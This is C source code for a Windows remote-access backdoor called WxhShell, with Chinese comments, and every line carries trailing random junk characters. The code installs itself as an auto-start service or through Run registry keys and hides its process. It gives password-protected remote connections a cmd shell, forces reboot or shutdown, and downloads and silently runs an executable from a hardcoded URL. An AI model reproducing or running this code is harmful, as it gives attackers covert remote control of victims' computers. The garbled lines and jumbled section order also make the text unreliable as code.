    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !~-@p?kW/  
    if(Boot(SHUTDOWN)) 4%>2 >5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v O@7o  
    else { CH] +S>$  
    closesocket(wsh); qrkJ:  
    ExitThread(0); ~mk>9Gp  
    } ,Wlw#1fP  
    break; 1+9}Xnxb  
    } ,niQs+'<  
  // 获取shell S&{#sl#e  
  case 's': { AI9#\$aGV  
    CmdShell(wsh); %3es+A@  
    closesocket(wsh); J?oEzf;M  
    ExitThread(0); 8Uoqj=5F  
    break; 3}nkTZG  
  } O>/& -Wk=  
  // 退出 ~pPj   
  case 'x': { W3y9>]{x^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [_1K1i"m  
    CloseIt(wsh);  li  
    break; fT0+i nRG  
    } cjc1iciZ  
  // 离开 >{ .|Ng4K  
  case 'q': { mu@IcIb>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L%31>)8  
    closesocket(wsh); 6rh^?B  
    WSACleanup(); n7iIY4gZ  
    exit(1); VY j pl  
    break; Ct9dV7SH  
        } 18AlQ+')?w  
  } ,`U'q|b  
  } s/0~!0  
63T4''bwu  
  // 提示信息 3u&)6C?YM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UsnIx54D3  
} de,4M s!%  
  } fea4Ul{ib  
A*TO0L  
  return; :nn(Ndlz9  
} r%vO^8FQ  
qqr]S^WW  
// shell模块句柄 gF~#M1!!  
int CmdShell(SOCKET sock) FGu#Pa  
{ L /V;;  
STARTUPINFO si; 04@?Jb1*  
ZeroMemory(&si,sizeof(si)); Zz^!QlF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `+5,=S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VZCCMh-  
PROCESS_INFORMATION ProcessInfo; K yDPD'  
char cmdline[]="cmd"; \KkAU6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \><v1x>;  
  return 0; e8VtKVcY  
} gbjql+Mx+  
pXl *`[0X#  
// 自身启动模式 LHHDD\X   
int StartFromService(void) /<)kI(gf  
{ Mo0pN\A}h  
typedef struct ` l}+BI`4  
{ BB3wG*q  
  DWORD ExitStatus; \) vI-  
  DWORD PebBaseAddress; }<mK79m  
  DWORD AffinityMask; LNI]IITx/  
  DWORD BasePriority; +d JLT}I8M  
  ULONG UniqueProcessId; 6 u}c543  
  ULONG InheritedFromUniqueProcessId; _OvIi~KW+  
}   PROCESS_BASIC_INFORMATION; qTrb)95  
1Gh3o}z  
PROCNTQSIP NtQueryInformationProcess; f/tJ>^N5  
J:G~9~V^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "cx#6Bo|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  :qrCqFl  
r"x/,!_E  
  HANDLE             hProcess; on)$y&lu  
  PROCESS_BASIC_INFORMATION pbi; BOWR}n!g  
`m=u2kxY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'h{| ]  
  if(NULL == hInst ) return 0; :{M1]0 NH  
,]Q i/m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2PG= T/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]_y0wLq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /..a9x{At>  
ibv.M=  
  if (!NtQueryInformationProcess) return 0; H* vd  
Cbjx{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); < SvjvV  
  if(!hProcess) return 0; ~.&2N Ur  
&v.Nj9{zi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bb@m-+f  
uYAMW{AT  
  CloseHandle(hProcess); fSw6nEXn  
B'~CFj0W%=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dc%0~Nz  
if(hProcess==NULL) return 0; YZQF*fj  
]hjA,p@Q  
HMODULE hMod; RinaGeim  
char procName[255]; q !Nb-O{  
unsigned long cbNeeded; GcCMCR3  
Wv-nRDNG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #*x8)6Ct  
jZP~!q  
  CloseHandle(hProcess); [ @`Ki  
7$|L%Sk  
if(strstr(procName,"services")) return 1; // 以服务启动 W B7gY\Y&M  
M\)(_I)V=  
  return 0; // 注册表启动 =`fz#Mfd  
} Bxs0m]  
2qe]1B;  
// 主模块 a@niig  
int StartWxhshell(LPSTR lpCmdLine) uM74X^U  
{ MH h;>tw  
  SOCKET wsl; rLJjK$_x  
BOOL val=TRUE; sq1v._^s  
  int port=0; b,o@ m  
  struct sockaddr_in door; JmJNq$2#c  
,c.(&@  
  if(wscfg.ws_autoins) Install(); t+%tN^87:  
%xh A2  
port=atoi(lpCmdLine); V;%DS)-  
Ub%1OQ  
if(port<=0) port=wscfg.ws_port; J>%uak<  
~2M+Me  
  WSADATA data; _~a5;[~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '1[Bbs  
Q|i`s=|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v5g]_v*F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #SIIhpjA(  
  door.sin_family = AF_INET; ZGbY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jp viX#\S_  
  door.sin_port = htons(port); *$EcP`K$  
xa$p,_W:'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mxk0XFA  
closesocket(wsl); k(%h{0'  
return 1; w;8VD`>[|  
} M;zJ1  
wh)Ujgd  
  if(listen(wsl,2) == INVALID_SOCKET) { 4Up \_  
closesocket(wsl); !Ng~;2GoA  
return 1; HYWKx><   
}  v+qHH8  
  Wxhshell(wsl); g*[DyIm  
  WSACleanup(); =b[q<p\  
Df_*W"(v  
return 0; VFjNrngl  
ZZ@1l  
} |8s45g>  
\o=YsJ8U  
// 以NT服务方式启动 8CN~o|uN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y.}8lh eH  
{ q:X&)f  
DWORD   status = 0; m* JbZT  
  DWORD   specificError = 0xfffffff; XX;MoE~MM  
Kta7xtu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4M{]YZMw8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6$_//  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A.>TD=Nz  
  serviceStatus.dwWin32ExitCode     = 0; 6O# xV:Uc<  
  serviceStatus.dwServiceSpecificExitCode = 0; qGH\3g-  
  serviceStatus.dwCheckPoint       = 0; )7TuV"  
  serviceStatus.dwWaitHint       = 0; \o2cztl=  
NAt; r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  :bBMy\(u  
  if (hServiceStatusHandle==0) return; SXx;- Ws  
3Z-N*bhC  
status = GetLastError(); $S_G:}tna  
  if (status!=NO_ERROR) > cM}M=4s  
{ ewD=(yr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -lNT"9  
    serviceStatus.dwCheckPoint       = 0; cs6I K6wo  
    serviceStatus.dwWaitHint       = 0; Hb|y`Ok  
    serviceStatus.dwWin32ExitCode     = status; $9m>(b/;n  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?84B0K2N s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $TR#-q  
    return; fx `oe  
  } B jsF5~+\  
?PSVVU q,Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mw9;O6  
  serviceStatus.dwCheckPoint       = 0; |(6H)S]$  
  serviceStatus.dwWaitHint       = 0; %jRqrICd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JMIS*njq^  
} u&\QZW?  
,8/Con|o  
// 处理NT服务事件,比如:启动、停止 zy!mP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *^_ywqp  
{ DgiMMmpE  
switch(fdwControl) #mvOhu  
{ ,[t>N>10TH  
case SERVICE_CONTROL_STOP: DgB]y6~KXl  
  serviceStatus.dwWin32ExitCode = 0; !w #x@6yq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \]gUX-  
  serviceStatus.dwCheckPoint   = 0; ZclZD{%8J  
  serviceStatus.dwWaitHint     = 0; 6y d/3k  
  { 0b~{l;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NP?hoqeKs  
  } syR +;  
  return;  #:st>V_h  
case SERVICE_CONTROL_PAUSE: /UAcN1K!B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dB%q`7O  
  break; xY,W[?3CY  
case SERVICE_CONTROL_CONTINUE: x;L.j7lzA;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'hn=X7  
  break; @+ee0 CLT  
case SERVICE_CONTROL_INTERROGATE: 1j":j%9M  
  break; +kN/-UsB  
}; ^g eC?m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }:f \!b  
} ghu8Eg,Y  
NP_b~e6O=  
// 标准应用程序主函数 =n7 3bm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) etk@ j3#  
{ 0X'2d  
O!=ae|  
// 获取操作系统版本 '"QN{ja  
OsIsNt=GetOsVer(); ?O!'ZZX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U#{^29ik=o  
vbT,! cEm  
  // 从命令行安装 s1| +LT ,D  
  if(strpbrk(lpCmdLine,"iI")) Install(); r"uOf;m  
X5`#da  
  // 下载执行文件 9u&q{I  
if(wscfg.ws_downexe) { <!qv$3/7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4_'($FC1  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2&Hn%q)  
} +o7Np| Ou  
!W3bHy:C"  
if(!OsIsNt) { @cz\'v6E  
// 如果时win9x,隐藏进程并且设置为注册表启动 map#4\  
HideProc(); ck"lX[d1  
StartWxhshell(lpCmdLine); WUnmUW[/  
} f#3U,n8:  
else aHzS>  
  if(StartFromService()) R]y[n;aGC  
  // 以服务方式启动 ; M%n=+[O  
  StartServiceCtrlDispatcher(DispatchTable); tF@hH}{;  
else 6x$1En  
  // 普通方式启动 se:lKZZ]  
  StartWxhshell(lpCmdLine); =|_{J"sv  
*#n?6KqZ  
return 0; wf[B-2q)  
} 8H})Dq%d7  
UNB'Xjp}@  
{vL4:K  
Ka$YKY,  
=========================================== [EX@I =?  
/v^1/i  
q=H dGv  
9N kr=/I"P  
^Cm9[1p  
2kS]:4)T  
" 5u=(zg  
:UrS@W^B  
#include <stdio.h> j(*ZPo>oD  
#include <string.h> D:yj#&I  
#include <windows.h> /y.+N`_  
#include <winsock2.h> rnV\O L  
#include <winsvc.h> }#3'72  
#include <urlmon.h> 7@@,4_q E  
l(CMP!mY  
#pragma comment (lib, "Ws2_32.lib") ;Uxr+,x~  
#pragma comment (lib, "urlmon.lib") ck WK+  
4Sq[I  
#define MAX_USER   100 // 最大客户端连接数 & 1:_+  
#define BUF_SOCK   200 // sock buffer 4)i(`/U  
#define KEY_BUFF   255 // 输入 buffer >%o\Ue  
e t$VR:  
#define REBOOT     0   // 重启 kkz{;OW  
#define SHUTDOWN   1   // 关机 [-$:XOO  
{+&qC\YF  
#define DEF_PORT   5000 // 监听端口 ('u\rc2 R  
{xGM_vH1  
#define REG_LEN     16   // 注册表键长度 H(~:Ajj+zQ  
#define SVC_LEN     80   // NT服务名长度 ?^< E#2a  
c[I4'x  
// 从dll定义API FYs-vW{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \UF/_'=K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }eO{+{D +  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z"T#"FDIr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rv\yS:2  
P!apAr  
// wxhshell配置信息 wePhH*nQ>  
struct WSCFG { *h `P+_Q7  
  int ws_port;         // 监听端口 (pl|RmmDz  
  char ws_passstr[REG_LEN]; // 口令 ^"?fZSC  
  int ws_autoins;       // 安装标记, 1=yes 0=no =y$|2(6  
  char ws_regname[REG_LEN]; // 注册表键名 :'pLuN  
  char ws_svcname[REG_LEN]; // 服务名 5ZXP$.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D[NJ{E.{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1@}`dc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W8$ky[2R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v%=@_`Ht  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0^L>J "o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 007(k"=oV  
5a PPq~%  
}; _=wu>h&7  
B`)gXqBt  
// default Wxhshell configuration VJeoO)<j  
struct WSCFG wscfg={DEF_PORT, _shoh  
    "xuhuanlingzhe", "\x<Zg;  
    1, #'@pL0dj  
    "Wxhshell", 8{t^< j$n  
    "Wxhshell", zree}VqD;5  
            "WxhShell Service", / X #4  
    "Wrsky Windows CmdShell Service", O_M2Axm  
    "Please Input Your Password: ", vIL'&~C\y  
  1, L>&o_bzp  
  "http://www.wrsky.com/wxhshell.exe", Qrnc;H9)  
  "Wxhshell.exe" m=hlim;P,  
    }; v|WTm#  
[T(XwA)  
// 消息定义模块 gtV^6(Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?51Y&gOEZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !6R;fD#^s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "zn<\z$l  
char *msg_ws_ext="\n\rExit."; * 7<{Xbsj^  
char *msg_ws_end="\n\rQuit."; 0I`)<o-  
char *msg_ws_boot="\n\rReboot..."; /oWn0  
char *msg_ws_poff="\n\rShutdown..."; .}wVM`81z  
char *msg_ws_down="\n\rSave to "; q, 8TOn  
oV(|51(f  
char *msg_ws_err="\n\rErr!"; X4c|*U=4  
char *msg_ws_ok="\n\rOK!"; EU@ BNja  
_5nS!CN  
char ExeFile[MAX_PATH]; 8%@![$q<g  
int nUser = 0; ?nLlZpZ2v  
HANDLE handles[MAX_USER]; Cw*:`  
int OsIsNt; a+U^mPe  
*CIR$sS  
SERVICE_STATUS       serviceStatus; |B<;4ISaRI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BkP'b{z|  
S[2uez`  
// 函数声明 ?>p (*  
int Install(void); @Nm;lZK  
int Uninstall(void); kXfTNMb  
int DownloadFile(char *sURL, SOCKET wsh); kkyi`_ZKn  
int Boot(int flag); 6cF~8  
void HideProc(void); E=H>|FgS  
int GetOsVer(void); uX!5G:x]  
int Wxhshell(SOCKET wsl); 5Hli@:B2s  
void TalkWithClient(void *cs); J@Qt(rRxi  
int CmdShell(SOCKET sock); SWX[|sjdB  
int StartFromService(void); l8XgzaW  
int StartWxhshell(LPSTR lpCmdLine); p>g5WebBN  
6/%dD DU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [eWZ^Eh"I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VIXY?Ua  
e={X{5z0  
// 数据结构和表定义 xzZ2?z Wi  
SERVICE_TABLE_ENTRY DispatchTable[] = T uk:: .jD  
{ qy9RYIfZ  
{wscfg.ws_svcname, NTServiceMain}, rwJCVkF  
{NULL, NULL} ,EE,W0/zzM  
}; YR 5C`o  
P1r)n{;  
// 自我安装 vky@L!&,  
int Install(void) u n)YK  
{ 3>~W_c9@  
  char svExeFile[MAX_PATH]; Y#/mE!&  
  HKEY key; Qb.Ve7c  
  strcpy(svExeFile,ExeFile);  .J0Tn,m  
*&=sL  
// 如果是win9x系统,修改注册表设为自启动 u . xUM  
if(!OsIsNt) { k Y}r^NaQA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [1LlzCAFBw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q)m0n237P  
  RegCloseKey(key); RjcU0$Hi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )V6Bzn}9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j$<sq  
  RegCloseKey(key); sU|\? pJ  
  return 0; M_OvIU(E  
    } cbton<r~  
  } pL& Zcpx  
} `GBa3  
else { '4"9f]:  
N<$dbqoT|  
// 如果是NT以上系统,安装为系统服务 V,*<E&+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RZ6[+Ygn  
if (schSCManager!=0) b-`=^ny)K  
{ /O^aFIxk  
  SC_HANDLE schService = CreateService '[Ue0r<jn  
  ( c SV`?[a  
  schSCManager, 7K5D,"D;1  
  wscfg.ws_svcname, Fx3CY W  
  wscfg.ws_svcdisp, e #5LBSP  
  SERVICE_ALL_ACCESS, 'o!{YLJ fM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _x2i=SFo*$  
  SERVICE_AUTO_START, Mur)'  
  SERVICE_ERROR_NORMAL, I<``d Ne9Q  
  svExeFile, 9tMaOm  
  NULL, ^%qe&Pe2  
  NULL, :pp@x*uNP  
  NULL, ~ \{a<-R  
  NULL, ki8;:m4  
  NULL fK0VFN8<I  
  ); JZo18^aD"'  
  if (schService!=0) [J{M'+a  
  { x(tf0[g  
  CloseServiceHandle(schService); Hdn%r<+c  
  CloseServiceHandle(schSCManager); ev{;}2~V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k(]R;`f$W  
  strcat(svExeFile,wscfg.ws_svcname); n&n WY+GEo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j6JK4{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '#oNOU  
  RegCloseKey(key); Rs +),  
  return 0; >iKbn  
    }  jO5,PTV  
  } OxC8xB;`  
  CloseServiceHandle(schSCManager); <\fB+ AZ  
} , S }  
} xpU7ZY  
l9P=1TL  
return 1; 4ZX6=-u^  
} _=\J:r|Y:  
 EL$"/ptE  
// 自我卸载 DD?zbN0X  
int Uninstall(void) }g9g]\.!a  
{ 2}BQ=%E!'  
  HKEY key; Xa xM$  
Fs3rsig  
if(!OsIsNt) { )&") J}@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '|7'dlW  
  RegDeleteValue(key,wscfg.ws_regname); Cd7imj  
  RegCloseKey(key); YjR`}rdwo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sc/\g  
  RegDeleteValue(key,wscfg.ws_regname); D^30R*gV  
  RegCloseKey(key); O u-/dE%  
  return 0; yU{Q`6u T  
  } Jqp;8DV}  
} v] ?zG&Jh  
} "G[yV>pxv  
else { %`# HGji)  
]Uu:t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9sI&&Jg  
if (schSCManager!=0) i[#XYX'\  
{ |b+ZKRW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); # GbfFoE  
  if (schService!=0) }|j \QjH  
  { _-R&A@  
  if(DeleteService(schService)!=0) { y[64O x  
  CloseServiceHandle(schService); b;5&V_  
  CloseServiceHandle(schSCManager); 6]^~yby P  
  return 0; QB"Tlw(  
  } n90DS/Yx  
  CloseServiceHandle(schService); `mE>h4  
  } K-2oSS56  
  CloseServiceHandle(schSCManager); DfsPg':z  
} QSNPraT  
} !j8 DCVb  
QE Q/  
return 1; ng6".u9  
} ]=28s *@  
7KlS9x2  
// 从指定url下载文件 9{cpxJ  
int DownloadFile(char *sURL, SOCKET wsh) xW. ~Jt  
{ _)%Sz"g^Ix  
  HRESULT hr; ]=Dzr<*v  
char seps[]= "/"; ?glK~G!i  
char *token; hR+\,P#G[  
char *file; Re<@ .d  
char myURL[MAX_PATH]; |6O7_U#q  
char myFILE[MAX_PATH]; NE)Yd7m-  
5I6u 2k3  
strcpy(myURL,sURL); |\<L7|hb9  
  token=strtok(myURL,seps); E rrs6  
  while(token!=NULL) crbph.0  
  { ]/6i#fTw  
    file=token;  X? l5}  
  token=strtok(NULL,seps); /_D_W,#P  
  } 3Ow bU  
1$#1  
GetCurrentDirectory(MAX_PATH,myFILE); 8n"L4jb(:  
strcat(myFILE, "\\"); {bP )Fon  
strcat(myFILE, file); [lz#+~rOS  
  send(wsh,myFILE,strlen(myFILE),0); \n<9R8g5  
send(wsh,"...",3,0); /_[?i"GW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /iw$\F |8  
  if(hr==S_OK) 35KRJY#  
return 0; :lBw0{fP  
else hCPyCq]  
return 1; R KXhD PA  
>n"4M~I  
} |r+w(TG  
`Iqh\oY8-  
// 系统电源模块 ''?iJFR  
int Boot(int flag) ^:u-wr8?{  
{ :LxsiDrF[  
  HANDLE hToken; $e, N5/O  
  TOKEN_PRIVILEGES tkp; fda)t1u\8  
j_{f(.5  
  if(OsIsNt) { ,.z?=]'en  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NA!?.zn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eqSCE6r9x  
    tkp.PrivilegeCount = 1; ~Z:)Y*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ufn% sA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N#p%^GH  
if(flag==REBOOT) { L-DL)8;`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fl}! V4  
  return 0; ZKTY1JW_  
} Gq]/6igzX  
else { :ggXVwpe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .(%]RSBY  
  return 0; | r,{#EE  
} y!VL`xV  
  } PS3jCT  
  else { 2 -pv &  
if(flag==REBOOT) { O<P(UT"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VVw5)O1'  
  return 0; Y3JIDT^  
}  :!/ (N  
else { /d*[za'0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gx.\&W b  
  return 0; Yq>K1E|  
} {_R{gpj'  
} 64qqJmG 3  
q&2L@l3A  
return 1; hplxs#  
} gE9x+g  
m(w9s;<  
// win9x进程隐藏模块 +Kp8X53  
void HideProc(void) ()W`4p  
{ sV;q(,oru  
GmH`ipi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5c0$oyl)M  
  if ( hKernel != NULL ) 5VSc5*[  
  { rpUTn!*u/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .aQ8I1~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N$.=1Q$F6  
    FreeLibrary(hKernel); _H"_&m$aDm  
  } !n<SpW;  
+xS<^;   
return; *G8Z[ht%r  
} R0urt  
Py\/p Fvg  
// 获取操作系统版本 5fy{!  
int GetOsVer(void) >VppM  `  
{ +E']&v$  
  OSVERSIONINFO winfo; iXLH[uhO;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y9U~4  
  GetVersionEx(&winfo); >c$3@$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~U4Cf >  
  return 1; Pa'N)s<  
  else SmUiH9qNd,  
  return 0; i3cMRcS;  
} K!8l!FFl  
pf&U$oR4  
// 客户端句柄模块 \c1>15  
int Wxhshell(SOCKET wsl) bPIo9clq  
{ 9 ^=kt 2[  
  SOCKET wsh; QJSi|&Rx&?  
  struct sockaddr_in client; @<yYMo7  
  DWORD myID; .I]EP-  
%<|cWYM="z  
  while(nUser<MAX_USER) s_3a#I  
{ !p Q*m`Xo  
  int nSize=sizeof(client); 9&zQ 5L>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KB {IWu  
  if(wsh==INVALID_SOCKET) return 1; Wf~PP;  
VAp 1{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YIF|8b\  
if(handles[nUser]==0) aTkMg  
  closesocket(wsh); CIVV"p`}  
else oA8A @,-L  
  nUser++; g"N&*V2  
  } P?@o?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p) ?6~\F:  
Js(MzL  
  return 0; )"]( ?V  
} a1EQ.u  
';m;K (g  
// 关闭 socket iO"ZtkeNr  
void CloseIt(SOCKET wsh) @O|`r(le  
{ :jJ0 +Q  
closesocket(wsh); ,u9 >c*Ss\  
nUser--; })j N 8px  
ExitThread(0); @ V_i%=go  
} +U iJWO  
8\G"I  
// 客户端请求句柄 U,lO{J[T  
void TalkWithClient(void *cs) +1r><do;  
{ ts; ^,|h  
B%5"B} nG  
  SOCKET wsh=(SOCKET)cs; `~D{]'j  
  char pwd[SVC_LEN]; 2Z?l,M~  
  char cmd[KEY_BUFF]; \}AJ)v*<  
char chr[1]; $wbIe"|  
int i,j; y,K> Wb9e  
gYloY=.Z$'  
  while (nUser < MAX_USER) { >3}N;  
/]of @  
if(wscfg.ws_passstr) { ^a$L9p(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8tO.o\)h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q{+}0!o  
  //ZeroMemory(pwd,KEY_BUFF); TPLv]$n  
      i=0; O)"Z%B  
  while(i<SVC_LEN) { lYey7tl{  
DPCQqV|7  
  // 设置超时 4%4Yqx )  
  fd_set FdRead; 4y!GFhMh  
  struct timeval TimeOut; rxj#  
  FD_ZERO(&FdRead); `XM0Mm%  
  FD_SET(wsh,&FdRead); cYBjsN(!A|  
  TimeOut.tv_sec=8; :(4q\~  
  TimeOut.tv_usec=0; .*Bd'\:F/q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~%h&ELSw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J ~KygQ3%  
v5&W)F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oi8M6l  
  pwd=chr[0]; ge1U1o  
  if(chr[0]==0xd || chr[0]==0xa) { (hh^?  
  pwd=0; AmQsay#I_  
  break; P<;Puww/  
  } EKS?3z%!  
  i++; g`~;"%u7cn  
    } 2wa'WEx  
Io t c>!  
  // 如果是非法用户,关闭 socket D&pp <  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sXtt$HID=  
} kh8 M=  
h>p,r\X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m}]QP\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A|GsbRuy  
,c 0]r;u!  
while(1) { 5bd4]1 gj  
jUDE)~h  
  ZeroMemory(cmd,KEY_BUFF); %cJdVDW`L  
q29d=  
      // 自动支持客户端 telnet标准   1^ iLs  
  j=0; (j(9'DjP  
  while(j<KEY_BUFF) { 1~j,A[&|<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U ,!S1EiBs  
  cmd[j]=chr[0]; DiZ;FHnaG?  
  if(chr[0]==0xa || chr[0]==0xd) { @!|h!p;  
  cmd[j]=0; J% ZM V  
  break; F5OQM?J  
  } 0_,un^  
  j++; {bG.X?b  
    } :&LV^ A  
"ZA`Lp;%w  
  // 下载文件 _ q AT%.  
  if(strstr(cmd,"http://")) { ~f( #S*Ic  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "!uS!BI?  
  if(DownloadFile(cmd,wsh)) T5}5uk9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g|h;*  
  else Z_7TD)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $"k1^&&E  
  } nFe  
  else { = )4bf"~8  
8#9OSupp  
    switch(cmd[0]) { "{3MXAFe  
  ;Wsl 'e/  
  // 帮助 ]\]mwvLT  
